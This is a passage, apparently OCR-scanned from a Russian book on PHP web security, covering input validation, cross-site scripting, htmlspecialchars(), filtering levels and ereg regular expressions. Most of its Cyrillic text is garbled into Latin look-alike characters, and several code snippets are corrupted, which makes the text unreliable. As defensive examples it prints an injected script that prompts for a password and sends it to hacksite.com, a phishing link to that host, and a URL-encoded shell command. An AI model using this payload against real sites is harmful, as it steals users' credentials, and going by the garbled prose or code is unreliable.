l'IepBb:e TPH MYHKTA MOXHO OTHECTH K HEQOCTATKAM, HO 3TO MEIOYH XKHU3HH IO
CpaBHEHHIO C ABYMA MOCJHEIHUMH MYHKTaAMM, rae yKasaHbl MpeMMYIIECTBA.

Yr1obbl 106UTECS HAWIYYLIEro pesyibTara B coOOGCTBEHHOM NMpoekTe, HeobXoaumo
co3naTh rubpua, KOTopblit obbenuHUT B cebe Bce sydiiee or oBoux crocobos.
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51 pekoMeHayl0 NpoBOAMTb HEOOXOMMMBIE W BO3MOXHBIE (KOTOpbIE TO3BOJUT
JavaScript) npoBepku Ha CTOpoHe KIMEHTa, YTOOBI SKOHOMUTH TpaMK M BOC-
Moib30BaTbesl npeuMmyiectsamu JavaScript. Ho npu 3TroM Heobxoaumo Te Xe
npoBepky BhinonHATe ¥ HA PHP, Ha cropoHe cepsepa. Takum o6pa3oM, OiHH W
Te XK€ JaHHbIe OylayT MpoBepsAThCS OBAXKIbLI — HA KIMeHTe M Ha cepsepe. Ecnu
Xakep cMoxer oboiTi 3auuTy JavaScript, T0 ero gaHHbIE HE NMPONAYT MPOBEPKU
Ha cepBepe, W BCE 3aTparThbl HA KOPPEKTHPOBAHHE MCXOIHOTO KOAd CTPAHMILBI
OKaXYTCsl HAMPACHBIMMU.

EnMHCTBEHHBIH HEZOCTATOK TAKOTO METOAA — CJIOXKHOCTE conpoBoXiaeHust. Ecnu
HYXHO BHECTH M3MEHEHMs B IPABWJIA, 110 KOTOPLIM OfpenensieTcs: KOPPEKTHOCTE
JaHHBIX, TO npuxoxurtcs uamenars JavaScript- u PHP-cuenapun, uto nosneuer
auiHWe pacxoanl. Ecim 3T0 IS Bac HENpHEMIEMO, MOXETe OTKa3aThCsl OT
JavaScript ¥ rnpoBepoK Ha CTOpOHE KiueHTa (MM CAeIaTh UX MaKCHMAILHO Mpo-
CTBIMM) U YAENUTh OCHOBHOE BHUMAHHUE 3allUTE HA CTOPOHE cepBepa.

Wenonbiosanne JavaScript BEIXOOMT 3a paMKW AaHHOW KHWIH, MO3TOMY MOTOBO-
puM O mpoBepkKax ¢ nomouisio PHP.

JlonyctuM, 4Yto y Hac ecTb Gopma, riae noib3oBaTe/ib BBOMAWUT JAHHbIE, KOTOpbIE
JIOJKHBL oToOpaxarbesi HA ¢opme. Takue nmojis oueHb YacTo OBIBAIOT B rOCTEBBIX
KkHurax, dopymax wiu yarax. [Tpeanonoxum, Mbl He BBINOTHAEM HUKAKUX MpO-
BEPOK, 4 MNpPOCTO BBIBOAWM Ha CTPAHMLY CTPOKY, BBEIEHHYIO NMOJIb30BATEIIEM. Ha-
npumep, cosnante daia cueHapusa submitl.php co ciaenyommum cogepXKUMBIM:
<form action="submitl.php" method="get">

VA none3oBaTena: <input name="UserName">

<input type="hidden" name="Password" wvalue="qwerty">

<input type="submit" name="sub" value="Go">
</form>

<?php
print ("SaopaBcreyiiTe $UserName");
7>

Ha skpane Gyner otobpaxeHa ¢opma LI BBOJAa MMEHM MOJb30BATENS, KOTOpOe
nepenaercs stomy xe aitny cueHapus. [MonyyuB MMsi, mporpamma MPOCTO Bbl-
BOIMT €ro Ha 3KpaH. A Terepb MPeJCcTaBUM, UTO IOJb30BATENb BBEJl BMECTO MMeE-
Hu teker "<B>Text<B>". Ha skpane Oyaer orobpaxeHo MpUBETCTBUE, 4 BMECTO
uMeHH OyzeT BeiBefeHO XUpPHBIM wpudToM cioso "Text". Takum obpazom, nepe-
npapas HTML-rern wau, eue xyxe, koMaHae! JavaScript, xakep MoXeT, KaKk MHU-
HUMYM, HCTIOPTUTH BHEIIHUH BUJ caiiTa WM Jaxe AOWUTH A0 BajioMa.

JUisi saummtel or nepegaun HTML-teros nocTaTtodHO MCHONB30BATH (HYHKIHIO
htmlspecialchars(). Eil HyXHO nepenarb cTPOKY, & Ha BBIXOJE MOJy4Yaercs Ta
e CTPOKa, B KOTOPOH CHMBOJIBI < M > 3aMEHEHB! HA MOC/IEeJOBATEIEHOCTH &1t ;
U &gt; coorBercTBeHHo. B pesynbrare Teker "<B>Text<B>" na crpanute 6yaer
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BeiBesieH Kak "<B>Text<B>", a ne coobienue "Text" xupHeim wpudrtom. Urak,
KO/l BHIBOZIA MOJIb30BATEBCKUX TAHHBIX MOXET BBITJISIIETH CJIEAYIOIIHM obpasom:

Sout=htmlspecialchars (SUserName) ;
print("Sout") ;

YenoxHUM 3amady — nornpobyeM YIAIUThL U3 cooblLeHus Ter <Script>. B ogHom
U3 IBHXKKOB HelnpoeccHoHa bHOro caiTa sl 3aMeT/l MPOBEepPKY, KOTopas HeKaia
TEKCT <Script> M 3aMEeHsu1a ero nycroit crpokoii. Bpone 6b1 HuKakoi oummbru,
HO YTO €C/IM XaKep MepejlacT CLUEHApPUIO Ter B Buie < Script >? BDroro npo-
BEpKa Y€ He 3aMEeTUT, 4, 3HA4YMT, XaKep CMOXeT BHEAPWUTb B CLIEHAPHIl CBOIl
Kon. MoXHO rombITaThesi cHavana yoparb Bce npobenbl, HO ¥ B 3TOM Clyyae
MPOBEPKY Jierko ofoiTu, nepesas B KA4ecTBe MapaMerpa CTpoky:

<SCRIPT LANGUAGE="JScript"> Kom </SCRIPT>

Haxe camblit ctporuit wabaoH MoXHO 0BOHTH, a MPOCTYIO 3aMeHY BCEX CHMBO-
JIOB < Ha MOC/e/10BATENbHOCTD &1t; M CUMBOJIOB < HA MOCHENOBATENBHOCTD &gt ;
000iTH HEBO3ZMOXKHO!

Hecmotpsi Ha 1o, uTo cueHapuu JavaScript BIMOJHSIOTCS HA CTOPOHE KIMEHTa,
OHM MOryT ObITh OYeHb ofacHbIMH M st cepsepa. Kak? Pacemorpum npumep.
JlonycTuM, 4TO y Bac €cThb CaiiT, Ha KOTOPOM TMOJB30BATENH PErHcTPUPYIOTCH,
4yTo6bI MOMYYHUTE HOCTYIl K ONpe/eleHHbIM Bo3MoXHOCTsIM. Hampumep, Ha dopy-
Me perdcrpauus Tpedyercsi, 4Tob6bl OCTABASATL CBOM COODIIEHUS, 4 HA [MOYTOBOM
cepBepe — JUIS JIOCTYNA K 2NMEKTPOHHOMY MOYTOBOMY SIIMKY M3 Gpaysepa. IMpei-
MOJIOXKUM, 4TO Xakep MoxeT BctpouTh B Web-crpanuuy JavaScript-koa. Hdobas-
JisIeM crejlyioluMil Ko

<SCRIPT>

var pass=prompt ('losTopHo BsemuTe Bawm napons', '');
location.href="http://hacksite.com/pass.php?pass="+password;
</SCRIPT>

Janublii Kox orobpaxkaer Ha sKpaHe coolllleHne ¢ MpockBOW BBECTH MApONs,
a 3aTeM BBelIEHHbIE JAHHBIE HAnpasisiores cuexapuio http://hacksite.com/pass.php.
Takum crnocoboM xakep cMoxkeT coOpaTh NMapoju AOBEPUMBBIX MoJb30BaTENeil W
MCIOB30BaTh MX JUISl JajibHel1lero BajoMa cepsepa.

Ho He Tonbko akTuBHBIM kox (Java, JavaScript u T. 1.) MOXeT GbiTh ONMACHBIM.
HomycruM, uyTo Xakep cMor BcTpouTb B Web-cTpaHully ter <a> (cosgaHue ccbii-
Ku). B aTOM ciiyyae MOXHO 100aBHThL HA CTPAHUILY CCBUIKY:

<A HREF="http://hacksite.com/register.php"> Perucrpauma <A>

B nanHOM ciy4ae cchuika rnepebpackiBaeT Hac Ha cueHapui register.php Ha cep-
Bepe hacksite.com. Xaxkep MoxeT oOPMHTb CTPAHMILY 3TOTO CLIEHAPHSA B TOM XKe
[Iu3aiiHe, YTO M B3naMbiBaeMmblii cepBep. Takum oGpaszom, mepeiiss 1o ccbuUike,
JOBEPYMBEII MOJB30BATE/L HUUET0 HE 3alON0o3pUT W BBeleT B opmMy Bee 3arpo-
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LIeHHbIE JIaHHbIE, HAMPUMEP, HHOOPMALIHIO 0 KpenuTHoit kapre. BonblinHeTBo M3
Hac He cMoTpuT B ctpoky URL npu nepexone no cchuikam M He 3aMETHT MOIBOX.

BapnaHTOB MCIONb30BAHUS BCTPAUBAEMBIX CCBUIOK OY€Hb MHOTO, M MEPEYHCINTE
HX BCE HEBO3MOXHO, Ida ¥ KHWIA 3TAa COBCEM O APYroM. Y XakepoB AOCTATOYHO
pa3BHTOE BOOBPAKEHME, K OHM HAMIYT Cr1ocod BBIMAHMTL HEOBXOAUMYIO HHpOP-
MauMio, a eciu caT GoJbIIOH, TO AAMUHUCTPATOPLI HE Cpasy 3aMETIT JIOXKHYIO
CCBUIKY.

Co3nanue TOYHOI KOnuM caifTa XepTBbl HA XaKEPCKOM cepBepe — BIONHE 3¢-
(bCKTHI:Iﬁ METOIL B3noma. ﬂOCTETO‘{HD pa3ociiaTe [MOJb30BaTEIAM COOSLI.!,CHHH
¢ HOBOCTBIO 06 OOHOBIEHHUU COIEPXKHUMOro W MPHUTIACHUTL HMX [MOCMOTPETH HA
caiT, 1aB CChUIKY HA XaKEPCKYIO KOIHI0, W GOJIbIIOE KOJIHYECTBO IOJIb30BaTeNel
HoBepHUT. XakKepsl yMeloT yoexaars, H pe3yabTAT 3aBUCHT OT MX OMBITA U Crocob-
HocTell, a anMUHHUCTPAaTOpaM MPHUXOMMUTCS TOABKO HAGMIONATH, MOTOMY YTO TYT
yKe 3alUTUTBCS HeBO3MOXHO. CUeHapuyu HaxXomsTcs HA APYTUX cepBepax U He-
noaBIacTHBl MM. Bauia 3azmaya — czmenarh Tak, 4ToObI Xakep He CMOr BCTPOWTH
CCBUIKY Ha CBOI clLeHapuil ¢ Balero caira.

Bonee MOIUIHBIM M MHTEIEKTYAIBHBIM CPEJCTBOM 3aMEHBI SIBISIOTCH PEryispHbie
BBIPAXEHsI, KOTOpbIE Mbi OylIeM paccMaTpusarh B pasdene 3.6.

IMpu co3naHuy peaibHbIX [PHIOKEHWN 51 CTAPAIOCh HE 3AMEHSITH OMACHBIE CHM-
BOJIbI, KOTOPBIE MOTYT YKa3hiBaTh Ha HATW4YUe YSI3BMMOro Koja, a 3anpeuiarts mx.
Yro 310 3HaunT? Eciin B CTPOKE, KOTOPYIO Mepefa Mojb30BaTesb, i HAILEN CUM-
Bonel "MeHble" (<), "Gonbie" (>), aBoeroune (:), npoueHT (%), o6paTHBINA CA3LL
(\) vnu cmaut (/), To cueHapuil BeLIaeT coobiieHHe O HeAOMyCTHMOCTH CUMBOJIA
U TIPEPBIBAET BIMOIHEHNE.

OueHb pelKo MOXHO BCTPETMTh CAliT, Ha KOTOPOM GblIo ObI TOMEKO OIHO MOJE
BBOJIA /UIsl OHOro napamerpa. Beane W Bcerna nucath OXMH M TOT XK€ KOI MpoO-
BEPKM TaHHBIX Heyno6Ho M Hed((eKTHBHO, MOITOMY CIEIYEeT OIUH Pa3 HANucaTh
MPOBEPOYHYI0 (DYHKUIMIO M BBI3HIBATL €e Ul BCEX NMPUHMMAEMBIX NapamMeTposB.
TouHee cKasaTh, B PEATbHBIX YCAOBUAX MPHIETCS HAMMCATh HECKONBKO (YHKUMIA,
KOTOpbIe MOTYT BBITh pasjiesieHbl 0 YPOBHAM KputhuHocTu. Hanpumep:

1. Tlepseiii yposeHb — camblil xecTKuit. Ha HeM 3anpelleHbl Bce ONnacHbie CUM-
BOJIbl W pas’pelieHbl TOMBKO OYKBBI M 3HAKHM MPenMHAHWUS (TOYKA W 3ansTas).
B ciyvae nosisneHusi 3arpelieHHOro cumBoiia Oyner BhI3bIBATHLCA (DYHKLIMS
die(), 1 pabora cueHapus npepBercs.

2. Bropoit ypoBeHb, Gojice AEMOKpPaTUYHBINA, SBHO 3anperiaeT TOJbKO ONacHble
cumBonsl U Tern. [Ipu aToM MoryT ObITE paspenieHsl GesonacHble TErn, Takue
KaK <i>, <b> W T. 1. Brnpouewm, Gyaer ny4ie, eclu nojib3osarenau OyayT ymnor-
pebisiTe 3aMeHUTeNN, U, HAnpuMep, [i] OyIeT MporpaMMHO 3aMEHSThCS Ha
<i>, [b] — Ha <b> U T. A. B Takom ciyuae, ecinu nosBiAseTcs: 3aNpelleHHbIH
cUMBOJI (KOTOPBIH Bbl HE MOCYHTANIM BO3ZMOXHBIM 3anpeTHTh), BBIAAETCS CO-
oberne o6 oumbke, M pabora cueHapUs TPEPLIBAETCS.
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3. Tpetnii ypoBeHb MOX0X Ha BTOpOIif, HO Ge3 coobuieHunit 06 ommubkax. Pabora
cueHapus Oyzaer rpono/keHa B Mo6GoM cilyuae, a OrnacHbie CHMBOJILI BhIPE3a-
I0TCSlL MJTH 3aMEHAI0TCsl Ha GesomacHbie aHaTOrH. DTOT ypoBeHb Byner noneseH
Ha copymax, rae obuiaiorcs nporpammuctsl. Ecnaum Oyayr 3anpeiueHsl Bce
onmacHble CUMBOJIBL, TO Ha opyme B GOJBIIMHCTBE CAyyaeB Hesb3s Gyaer oc-
TABHTH COOBILUEHUE C KOIOM MPOrpaMMmbl.

4. PaspelueHbl Bce CHMBOJIBI. 3aueM HYXeH Takoi ypoBeHb? Eciu Bbl yBepeHEl,
YTO Mapamerp He Oyaer nepegaBaTbesl ONEPALMOHHONW cucrTeMme WM ortobpd-
xaTtbest Ha Web-cTpanuue, To MOXHO paspelunTh Bce cuMmBoibl. M Bce ke,
S PEKOMEHAYI0 MCIOJb30BATh 3TOT YPOBEHb OYEHb AKKYPATHO M TOJBKO
B KpaitHux ciayvasx. Hecmotpst Ha To, 4TO BCe CHMBOJIBI paspelleHbl, MpoBep-
Ka JaHHBIX JOJXKHA MPOU3BOAUTECS HA cily4yail HempaBoMEepHOro MCIoab30Ba-
HUA TEroB.

BosmoxHO, YTO B Baulei 3agaye NpUAETCS BBOAWTH OoJbliee KOMMYECTBO Mpo-
MEXYTOYHBIX YPOBHEH, HO A HE PEKOMEHIYI0 Mcroab3oBaTh Oonbiue 5. Jlyulue
MonMGpHLIMPYITE YPOBHM MMOI CBOM MOTPEOHOCTM, MHAYE MOMIEPXKKA CLEHAPHS
CTaHeT CAMLIKOM TPYILOEMKOIA.

[HagaiiTe paccMOTpUM TIpUMEp MOCAEAHEr0 YPOBHS. SIpKUM mMpeTeHIeHTOM HAa
noaobHyl0 NpoBepKy siBisieTcsi noje [uis BBoaa napons. Yrobel mapons GsLT
CIIOXHBIM, BCE CMeuMaTucThl (M S MX TIOJIEPXKWBAI0) PEKOMEHAYIOT BKIJIIOMAThH
B HEro He TONbKO uMcna u OykBel, HO M cuMBobL. lapoiu peiko MCnoab3yloTes
B cUcTeMHBIX GYHKUMUSX, MO3TOMY 3/eCh AOCTATOMHO 3aMpPeTHTh TOJIBKO YIIOBLIE
KaBbIUKH, Tipobesibl U CUMBOJ %.

[Mouemy HeoGXxomMMmo 3anpellars 3HaK MpoleHTa, Beab oH Geaonacen? [eno
B TOM, YTO NMPOCTO 3anpeTuTh npoben wiv Kakon-aubo Apyroi cuMBOI Majlo.
B HekoTOpbIX ciyyasx Jerko MOXHO MCIO/Nb30BaTh 3aMEHUTEIb B BUE KONA CHM-
Bona. Hanpumep, kox npobGena — %20 u, B ONpeAETeHHBIX CHTYALUAX, KOMAHA2

1s%20-a

MIEHTHYHA

1s -a

B nepBoM ciyuae npobena HeT; €ro 3aMeHseT MOCHelOBATENLHOCTE $20, U BO3-
MOXeH BapHaHT, KOTJA Takas KoMaHaa Gy/leT BhIMOIHEHA B CHCTEME KOPPEKTHO.

HasoBure Bce DYHKLUNHU, HaNpuUMep, TaK: TestParamN, [Jie N — 3TO HOMEP YPOB-
Hsi. Torna, ytoObl mepeBecTH OAMH U3 MApaMeTpoB HAa APYroil ypoBeHb, A0CTA-
TOYHO OyHeT TONBKO NOMeHATh UNdpy B UMEHU DyHKLIUH,

Bropo#l M TpeTWil ypoBeHb y HAac MNOAYYMMIUCH NOCTATOYHO AEMOKPATHYHBIMM,
M OHH SBISIIOTCH MOTEHUMATbHON npobiemMoil ¢ ToYkW 3peHusi GesomacHOCTH.
Yrobsl npobieMa He NPeBpaTHiach B pealbHOCTh, HEOOXOAUMO OTCIEXKUBATL BCE
coBpeMEeHHbIE MeTOo/bl arak U 3apaHee moauduimposars kon. He noxwupaiitecs,
KOrjaa Ball CailT B3JIOMAIOT.
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Ucnonsayiite cBou (yHKIMM U BCeX MapaMeTpoB, KOTOPbIE BhI MOJy4yaeTe oT
nojib3osaresnieit, u naxe Tam, rae Bbl YBEpPEHBI, YTO HMYEro ONACHOTO HE MOXET
npon3oiiti. CeroiiHsi OMacHOCTH HET, a 3aBTpa Bl MoAMUIKMpYeTe KOon MNpo-
rpaMMbl TaK, 4YTO UISl B3JIOMILKUKA OTKpPOIOTCH BopoTa ¢ Haanucbio "[dobpo nmoxa-
nosath". CKONBKO pa3 MpUXOOMTCH BHIETh COOOLIEHMSI O TOM, YTO YSA3BUMOCTb
nosisunack B Bepcun 2.0, a B Bepcuu 1.0 ee He GbUIO, XOTH GYHKUMOHATBHOCTD
3TOi 4acTW KoJa He MeHsach, TOJIBKO gobaBmiack oaHa OesobuaHas cTpoyka,
paspyumuBlias KpernocTsh.

C nomolibl0 YHUBEpCATbHBIX (DYHKIMN NpPOBEPKU KOPPEKTHOCTH NapameTpoB
y1obHO BBHIMONHATE oOwime nposepkd. Ja, oHn Hanbonee 3dbexTHBHBI, HO He
3abbIBaiTe, YTO CYLUIECTBYET MHOXECTBO PA3IMYHBIX aTaKk, U OT BCEX HE 3allu-
TULIbCS YHUBepcatbHbIMH (yHKUMsAMUA. Eciu ectb BO3IMOXHOCTH IPOM3BECTH
Hosiee TOUHYIO MPOBEPKY, TO HEOOXOANUMO HEIaTh 3TO.

JonycTuM, y Bac ecThk Mojie BBOAA JUTS YKasaHWsl Jartel poxnaeHus. Bnonwe no-
rMYHO OyIer MpoM3BECTH Hal MEepeMEeHHOI, XpaHsllel narty, cleayiollie Mpo-
BEPKH (MTOMUMO TIPOBEPKH Ha HENOMYCTHUMBIE CUMBOJIbI):

0 umcyio NoKHO ObITh He Gonblue 31;
O mecsil nomkeH ObITbL He Gonblue 12;

. O ron pomkeH ObiTh Gonbuie 1930 (He mymaio, yTo y Bac GYAYT MMONB30BATETH
craplue 75 IeT) u MeHblle, YeM TeKyluas jaata. Eciau nara poxneHus Kacaercs
MOCETUTENsI caifTa, TO MOXHO MMpPOBepsTh, YTOOBI roj GBI MEHbILE TeKyllen
natsl MUHyc 2 roja, MOTOMY YTO FOHOBalbIi pebeHOK Takke He Oymer Bamium
MOCETUTEEM.

MHorue U3 noAo6HBIX MPOBEPOK BHITTOJHUTE C MOMOILBIO [HAGIOHA MPaKTHYECKH

HEBO3MOXKHO, IMO3TOMY MX HYXHO PEalM30BATH MOIMOJHHUTE/JbBHBIMM Ofeparopa-
MH if.

3.6. PerynsipHbie BbipaXxeHus

PerynapHbie BelpaxeHus (regular expressions) — 3TO JOCTATOMHO CJOXHAas, HO
uHTEepecHass (PYHKUMOHAIbHAsS BO3MOXHOCTb, KOTOpasi IO3BOJSIET MPOMU3BECTH
OCHOBHBIE ¥ camble HEOOXOAMMBIE MPOBEPKH TMEPeMeHHbLIX WJIH IPOU3BECTH Ma-
HUMYISLUK Han cTpokaMu. PeryisipHble BhIpaKeHHs MpencTaBisior coboit wab-
JIOH W TPU3BAHBI MPOBEPUTH, COOTBETCTBYET AW eMy cTpoka. CoBMecTHO ¢ Mpo-
BEPKOH MOXET MPOM3BOAMTLCS BHIOOPKA WJIM 3aMeHa HalaeHHO! MOACTPOKH.

Slapik PHP nomnepxuBaer aBa THNA PEryasipHBIX BBIPAXKEHWN — CTAHIAPTHBIE
POSIX u Perl. ®yukuuy g paboTsl ¢ TAKMMH BBIPAKEHUAMU HCHONB3YIOTCH
pasHble, U Mbl PACCMOTPUM 00a BAPUAHTA CO3aHWA W TPUMEHEHHs PEeryiaspHbIX
peipaxkeHuit., Kakoil BeiGepere Bbl, 3aBUCHUT OT JIMYHKLIX NPENNOYTEHUH, a 8 Hc-
nons3yio o6a, B 3aBUCHMOCTH OT cuTyauuu. Ho K Bompocy o ny4iuem BapuaHTe
MBI €1le BepHeMCsl B KOHIIE 3Toit rasel ( pazder 3.6.5).
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Tor ¢akr, uro PHP nomnepxusaer asa tTuna 1wabioHOB, ABISETCH HEOCTOPHMEIM
MPEeUMYLUECTBOM, [MOTOMY YTO 3TO TPEeBpalldeT ero B o4YeHb MOULHBIH WHCTpY-
MeHT obecrnieuermns GezomacHocTu, a Ge3sonacHocTh He GbiBaeT ypesMepHoi. He-
KOTOpBIE S3bIKH BOOOILUE HE MMEIOT TAKOH BO3MOXHOCTH, M €€ TIPUXOIMUTCH pea-
JIH30BBIBATh CAMOCTOSTENLHO C TOMOLIBI0 (DYHKUMHA Ui MaHMIYJIAUUN HaL
cTpokamH. B 3TOM ciiyyae Bo3pacTaeT BEPOATHOCTb OLIMOKH B PeaH3ALAH MPO-
BEPOK, KOTOPOii XaKkep HErnpeMeHHO BOCMOJIL3YeTCsI.

3.6.1. ®yHKLUM perynapHbiX BbipaxkeHun PHP

JlaBaiiTe cHayana paccMOTpUM (DYHKLIMH, KOTOPBIE MOTYT HUCITONB30BATHCH COBME-
CTHO C PEeryisipHbIMU BbIpRXEHHSIMH, @ 3aTeM yxe nepeitziem K npaktuke. [Ipo-
CTO HET CMBIC/A YYHUThCS CTPOMThL BBIPAXKEHHS, HE 3Hasl, KaK MX MOXHO MCHOJib-
30BaTh.

DyHKUuMA ereg
@MyHKUMS MILET B CTPOKE COOTBETCTBUE PEryIsipHOMY BhipaxeHuio. B obuiem Bu-
€ OHA BLITJISAINAT CHACeAYIOLIHM OGPBBOM:
int ereg(
string pattern,
string string
[, array regs] )

Y dyHKUMM TPH Mapamerpa, rnepsbie ABa U3 KOTOPLIX ABATIOTCS 00sI3aTeIbHBIMI:
0 pattern — peryasapHoOe BhIpaXeHUE; 5
O string — CTPOKA, B KOTOPOW MPOMUCXOIUT MOUCK;

0O regs — nepeMeHHass, B KOTopyio OyleT ITOMELIeH MAacCHB HAaMIeHHBIX 3HAYE-
uuit. Ecim perynsipHoe BbipakeHue pasbuTo Ha HacTH C MOMOILIBIO KPYIJIbIX
cKoDOK, TO cTpoka pasduBaeTcs B COOTBETCTBHM C PEryisipHbIM BBIPAXKEHHEM
1 TioMelaercsi B Maccus. HyneBoii 31eMeHT MaccuBa — KOTUSI CTPOKM.

DyHKUWA eregi

DyHKIMA eregi () WAGHTHYHA ereg (), HO NPU MOUCKE HEUYBCTBUTEIbLHA K peri-
ctpy 6yks. Ilapamerpsl Te e cambie, [O3TOMY ONYCTHM paccMoTpeHue (hyHKLKH,

DyHKUMA ereg_replace

Ora yHKUMA rnoxoxa Ha (QYHKIMIO preg_replace(), KOTOPYIO Mbl BHIEIH
B pasdeqe 2.9, TeM, UTO UIIET B CTPOKE PEryjlsipHOE BLIPAXKEHHUE M 3AMEHSIeT €ro
HOBBIM 3HAYEHHEM:
int ereg_replace (

string pattern,
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string replacement,

string string)
Y yHKUNH TpH MapamMerpa:
0 pattern — peryjaspHOe BhlpaxXeHHe,
0 replacement — HOBOE 3HAYEHHE;

O string — CTPOKA, B KOTOPOH NPOMCXOAUT MOUCK.

DyHKUnA eregi_replace

DyHKIUS eregi_replace() WIEHTHYHA ereg_replace(), HO UTHOPUDYET pe-
ructp. [Tapametpel y o6eux GpyHKUNIT O1HHAKOBBI.

DyHKuus split

PyHKUHSA split() pa3buBaeT CTPOKY B COOTBETCTBUM C PEryisipHbIM BBIpaXeHU-
€M M Bo3Bpallaer MaccHB cTpok. B obluem Buae oHA BBINISIMUT TaK:

array split(
string pattern,
string string
[, dne dimie))
[MocmoTpuM Ha mapaMeTps! GYHKINH:
O pattern — PEYASPHOC BBIPAXEHHE,
0 string — CTPOKA, B KOTOPOH MPOHUCXOAHUT MOUCK;
O limit — OrpaHH4YeHHE KOJTMYecTBad HAHIEHHBIX 3HAYEHMIL,

DyHkuusa spliti

DOYHKUNA spliti() MAEHTUYHA split (), HO HEYYBCTBUTE/ILHA K perucTpy OYKB
BO BpeMsl MOMCKA PEryIsspHOTO BRIPAXKEHHS, .

3.6.2. Ucnonb3oBaHune perynsapHbix BbipaxeHuin PHP
Pacemorpum npocrteiiniuii ipuMep, B Kotopom cumsonsl "BI" B cTpoke 3amensi-
torcst HAa HTML-Tern <p><1>:

Stext= "BI Hello world from PHP";

$newtext = eregi_replace("BI", "<B><I>", Stext);

echo ($newtext) ;

B Buae peryispHOro BbIPAXEHWsS MOXET BBICTYNATh KAAacCHMYEcKas TMOACTPOKa,
KOTOPYI0 HYXHO HAHTH.
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Yenoxuum 3anaygy. Jdomyerus, 4ro HaM HyxHo Haiiti mozpetpoky "Bl" wnu "IB". s
3TOT0 MOXHO Pas/ie/IuTh HCKOMBIE MOICTPOKH CHMBOIOM BEPTUKAITLHOMN YepThl:
$text= "BI Hello world from PHP";

$newtext = eregi_replace("BI|IB", "<B><I>", S$text);

echo (S$newtext) ;

BeprukanbHag yepra BeicTynaer B ponu joruveckoro MWW, u dyHkumsa wier
nmoboe 13 3Ha4YeHHI cieBa MM crpaBa OT uyepThbl. TaKUM crnocoboM MOXHO pas-
JIeJTUTh HEeCKONMbKO 3HAUEHMI, HAarlpuMep:

$text= "BI IB IBB Hello world from PHP";
$newtext = eregi_replace("BI|IB|IBB", "replaced", $text);
echo ($newtext) ;

Ecnu HeoGXxoIuMo yKasaTh OrnpeleNeHHbIe CHMBOJIbI, TO 3TO JeJIaeTcsl B KBaIpaT-
HBIX ckobkax. Hampumep, Bbl XoTuTe Hailti niobbie uncia or 0 mo 9. Jlydmium
BapuaHToM GyaerT HanmucaTh CJIEAYIONIee Pery/sipHOe BhIpAXEHMe: (01234567891,

A ecnu HyxHBI Bce GykBnl? He Oymem ke MBI MEpeuUCIATE WX BCE B KBAAPATHAIX
ckobkax. KoHeuyHo, Her. [locraroyHO ykKasaTh MepBEIA CHMBON W, uepe3 THPE,
nocnenHuit. Takas 3anuchk Oyner cOOTBETCTBOBATH 3amucH "or M no". Hanpuwmep,
yrobbl pery/isipHoe BbIpAXeHHe COOTBeTCTBOBAIO JoGoH uudpe, MOXHO HAru-
catb [0-9], @ yToBBl OHO COOTBETCTBOBAJIO JIIOOOMY CHMBOJY JIATMHCKOro asca-
BUTA, cjieayeT Hamucarh [a-z]. Ho mocnenHee BhipakeHHe OMpenesieT TONbKO
nponucHeie Oyksbl. YToOB! BKIIOYMTE €11e W 3ariaBHble, NTULIEM [a-zA-2].

B kBanmpatHbIX ckoOKax Mbl repeyucisieM HeobXoAMMBIE CUMBOMILI WM AWanaso-
HBI, @ MOXHO ¥ TO M Apyroe oaHoBpemeHHo. Hanpumep, cienyiollee BoipaxeHue
uuter mobyio GyKBy JaTMHcKoro amdasuta, uudpy WM CHUMBOJBI NOAYEPKHU A~
HUs, TUpE U npobena;

[0-%a-zA-Z-_ ]

B HekoTOphIX cUTyauMsx MMpoOIE YKasaTh, YTO paspellieHo, YeM MepeuyncisiTb TO,
yTO 3anpeuleHo. B aToMm cayyae nepei nocsiefoBaTeibHOCTHI0 CHMBOJIOB CTABHM .
Hanpumep, crenyioriee BeipakeHue paspeiuaer Bce Oykesl, kpome F u J: [~FJ].
Cnenyiounit Kon sameHsier Jiodbie undpsl Ha Oyksy X:

Stext= "99f17s87";

Snewtext = ereg_replace("[0-9]", "X", $text);

echo($newtext) ;

B pesynbraTe ctpoka NpeBpaTHTCS B XX£XXsXX.

Pacemotpum eie npumep. Jlonyctim, 4To Hy>KHO 3ameHUTh Ha "XX" TonbKO aBE
MOCIENOBATEIEHO CTOAIMX LHppLI, ecnu 31 1udpsl 0b6pasyior yucio MeHee 50.
Jng 3TOro HEO6XoAMMO MCTIONB30BaTh WabMoH: [0-4) [0-9]):

$text= "99f17s87";
$newtext = ereg replace("[0-4] [0-9]", "XX", Stext);
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Kaxnas xpamparHas ckobka ornuceiBaer ofuH cumpon. [lepsoii ckobke coorser-
crayer Jobas uudpa or 0 no 4, a sropoit — uudpa or 0 g0 9. Takum obpazom,
MHHUMAIBHOE YHCIIO, COOTRETCTBYIOILEe wabnony, 6yuer 00, a MakcumaibHoe — 49.
B HalreM mpumepe B 3TOT AMANaszoH monanaer yueno 17.

WNHorna Bo3HMKAeT HEoOGXONMMOCTh YNpPaBIsiTh KOMMYECTBOM IOBTOPAEMBIX CHM-
BosioB. Hanpumep, eciiv Hac MHTEPECYIOT CTPOKH, B KOTOPhIX GYKBa A BCTpedaer-
csl XoTsi Obl OHMH pas, TO MOXHO HaNMCaTh PEry/lispHOE BBIPAXEHHE A+, 3HAK
TTIoca yKasbiBaeT Ha HEeoBXOAMMOCTE NPUCYTCTBUA BYKBBI A XOTs GblL OAMH pas.

Ecnu nmociie cuMBoa yKasath 38e304Ky (*), To 310 Bymer o3HayaTh, YTO CHMBOI
MOXET BCTpeyaThcsi Ji06oe KOMMYECTBO pa3 WM OTCYTCTBOBaTh BooOmie. Eciu
HY)XHO, 4TOOBI CUMBOJI MPUCYTCTBOBAN B CTPOKe He Gojiee OiHOro pasa wiu Hu
pasy, TO Mcroib3yiiTe 3HaK Borpoca. Hanpumep, Az,

MoxHo u Gonee TOHKO YNpaBisaTh KOJHYECTBOM HEOBGXOMMMbIX cuMBoioB. [lis
3TOrO MOC/e CHMBOJIA HCNOJb3yloTea QUIypHbIe cKOOKH cleayioliero suaa:

{rommaym [, [Maxcimgna] ]}

[lepBoiii MapameTp — MUHMUMAILHOE KOJIMYECTBO BXOXIEHUI CHMBONA, a BTO-
poit — makcumanbHoe. Hanpumep, cienyiolllee BbipaXkeHHWe COOTBETCTBYET CTPO-
Ke, B KoTOpoii GykBa A BcTpeyaercsi oT 2 10 5 pas: A{2,5}.

Ecnu 3angras u Bropodl mapametp B (DUIYPHBIX cKOOKAax OMyIUEHbI, TO peryisp-
HOMY BBEIPaXEHMUIO OYIeT COOTBETCTBOBATH CTPOKA, B KOTOPOH yKasaHHBI CUMBOJI
